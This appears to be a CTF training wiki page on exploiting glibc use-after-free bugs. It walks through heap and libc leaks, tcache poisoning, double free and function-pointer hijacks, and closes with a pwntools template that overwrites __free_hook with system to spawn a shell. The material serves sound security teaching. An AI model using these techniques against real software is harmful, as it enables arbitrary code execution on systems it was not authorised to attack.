Athena Wiki

Use-After-Free (UAF)

pwnadvanced

Exploit use-after-free vulnerabilities in CTF pwn challenges for heap leaks and arbitrary writes.

pwnuafuse-after-freeheapdangling-pointerglibc

Use-After-Free (UAF)

A use-after-free happens when a program frees a chunk of memory but continues to use the pointer to that memory. The freed chunk still exists in the allocator's bins, so reading through the dangling pointer leaks bin metadata (heap/libc addresses), and writing through it corrupts the bin list.

UAF is the most common heap bug in CTFs. Almost every heap challenge involves it.


How It Works

1. malloc(0x30)  → ptr = 0x55550010    (chunk allocated)
2. free(ptr)     → chunk goes to tcache (fd pointer written)
3. read(ptr)     → reads the fd pointer → HEAP LEAK
4. write(ptr, x) → overwrites fd → TCACHE POISONING

After free, the chunk's first 16 bytes are repurposed as fd and bk pointers for the bin's linked list. The original pointer ptr still points to the same memory — but now that memory contains bin metadata instead of your data.


Spotting UAF in Code

Look for patterns where a pointer is freed but not set to NULL:

// Classic UAF
struct Object {
    void (*func)();
    char data[32];
};

Object *obj = malloc(sizeof(Object));
obj->func = normal_function;

free(obj);           // freed!
// obj is now a dangling pointer

obj->func();         // UAF: calls whatever is at obj->func after free

The fix is free(obj); obj = NULL; — but vulnerable programs skip this.

In a CTF, look for menu programs with options like:

1. Create
2. Delete
3. Use
4. Edit

If "Delete" frees the pointer but "Use" or "Edit" doesn't check whether it's been freed, you have a UAF.


Leak via UAF: Reading Bin Metadata

The most reliable first step. After freeing a chunk, read through the dangling pointer to get addresses from the bin's fd/bk pointers.

Heap Leak (from tcache)

alloc(0x30)   # chunk 0
free(0)       # freed → goes to tcache, fd = next entry (or NULL)

# UAF read: the chunk's data area now contains the fd pointer
leak = u64(show(0)[:8].ljust(8, b'\x00'))

In glibc < 2.32, leak is a raw heap pointer. In glibc 2.32+, it's XOR-encoded (safe-linking):

heap_base = leak << 12   # glibc 2.32+ recovery

Libc Leak (from unsorted bin)

Large chunks freed to the unsorted bin have fd/bk pointing to main_arena+96 in libc:

alloc(0x500)   # large chunk (won't fit in tcache or fastbin)
alloc(0x20)    # guard chunk (prevents merging with top chunk)

free(0)        # freed → unsorted bin → fd/bk = main_arena+96

leak = u64(show(0)[:8].ljust(8, b'\x00'))
libc.address = leak - libc.sym['main_arena'] - 96

Write via UAF: Tcache Poisoning

Once you can write to a freed chunk, overwrite its fd pointer to point to an arbitrary address. The next malloc of that size returns your fake address.

# 1. Free a chunk into tcache
alloc(0x30)   # chunk 0
free(0)       # tcache[0x40] → chunk 0 → NULL

# 2. Overwrite fd via UAF
target = elf.got['puts']   # any address you want to write to
edit(0, p64(target))       # tcache[0x40] → chunk 0 → target

# 3. Allocate twice
alloc(0x30)   # pops chunk 0 from tcache
evil = alloc(0x30)   # pops target from tcache → malloc returns target!

# 4. Write to the target
edit(1, p64(libc.sym['system']))   # overwrite puts@GOT with system

For glibc 2.32+ (safe-linking), you need to XOR-encode the pointer. See Tcache Poisoning for the full details.


Function Pointer UAF

If the freed object contained a function pointer and the same memory is reallocated with user-controlled data, you control where the function call goes:

# Challenge: menu has create/delete/invoke
# Objects store: {function_ptr, data}

create(0x18)   # allocates an Object
delete(0)      # frees it → tcache

# Reallocate the same size with controlled data
create(0x18)   # gets the same memory back!

# Write a function pointer + argument
edit(1, p64(system_addr) + b'/bin/sh\x00')

# Invoke the original (now-freed) object
invoke(0)   # calls system("/bin/sh")

The key insight: create reuses the freed memory, so the old object's function pointer now points wherever you want.


Type Confusion UAF

When freed memory is reused by a different object type, the old pointer "sees" the new object's data as its own fields:

Note *n = new Note("hello");
delete n;                    // freed

Command *c = new Command("/bin/sh");   // same heap address
n->print();   // UAF: Note's vtable pointer is now Command's vtable
              // If Note::print() calls Command::execute(), you win

This is common in C++ challenges with virtual functions and inheritance.


Double Free

A special case of UAF: free the same chunk twice. This puts it in the bin twice, so two malloc calls return the same pointer:

alloc(0x30)   # chunk 0
free(0)       # freed to tcache
free(0)       # freed again! Now tcache has: chunk 0 → chunk 0 → ...

alloc(0x30)   # pops chunk 0
alloc(0x30)   # pops chunk 0 AGAIN — two pointers to same memory!

glibc 2.29+ added detection for this. Bypasses include filling tcache first (so the second free goes to fastbin), or corrupting the tcache count field. See Tcache Poisoning for details.


Complete UAF Template

from pwn import *

elf  = ELF('./vuln')
libc = ELF('./libc.so.6')
p    = process('./vuln')

# [Menu helpers: alloc(size), free(idx), show(idx), edit(idx, data)]

# 1. Get heap leak
alloc(0x30)
free(0)
heap_raw = u64(show(0)[:8].ljust(8, b'\x00'))
heap = heap_raw << 12   # glibc 2.32+
log.success(f"Heap: {hex(heap)}")

# 2. Get libc leak
alloc(0x500); alloc(0x20)   # large + guard
free(0)
libc_leak = u64(show(0)[:8].ljust(8, b'\x00'))
libc.address = libc_leak - libc.sym['main_arena'] - 96
log.success(f"libc: {hex(libc.address)}")

# 3. Tcache poisoning → arbitrary write
# See tcache-poisoning.mdx for safe-linking encode
alloc(0x30)
free(2)
target = libc.sym['__free_hook']   # glibc < 2.34
chunk_addr = heap + 0x...
mangled = (chunk_addr >> 12) ^ target
edit(2, p64(mangled))

alloc(0x30)
alloc(0x30)   # at __free_hook
edit(4, p64(libc.sym['system']))

# 4. Trigger shell
alloc(0x30)
edit(5, b'/bin/sh\x00')
free(5)   # calls free_hook("/bin/sh") = system("/bin/sh")

p.interactive()

Checklist

  • Identify the UAF: pointer used after free (check create/delete/use menu)
  • Use UAF read to leak heap address (freed tcache chunk's fd)
  • Use UAF read to leak libc address (freed unsorted bin chunk's fd/bk)
  • Use UAF write to corrupt tcache fd pointer (tcache poisoning)
  • Allocate twice to land at arbitrary address
  • Overwrite __free_hook (glibc < 2.34) or use FSOP (glibc 2.34+)
  • Verify with GDB: heap chunks, heap bins
  • Reference: shellphish/how2heap

Last updated on

On this page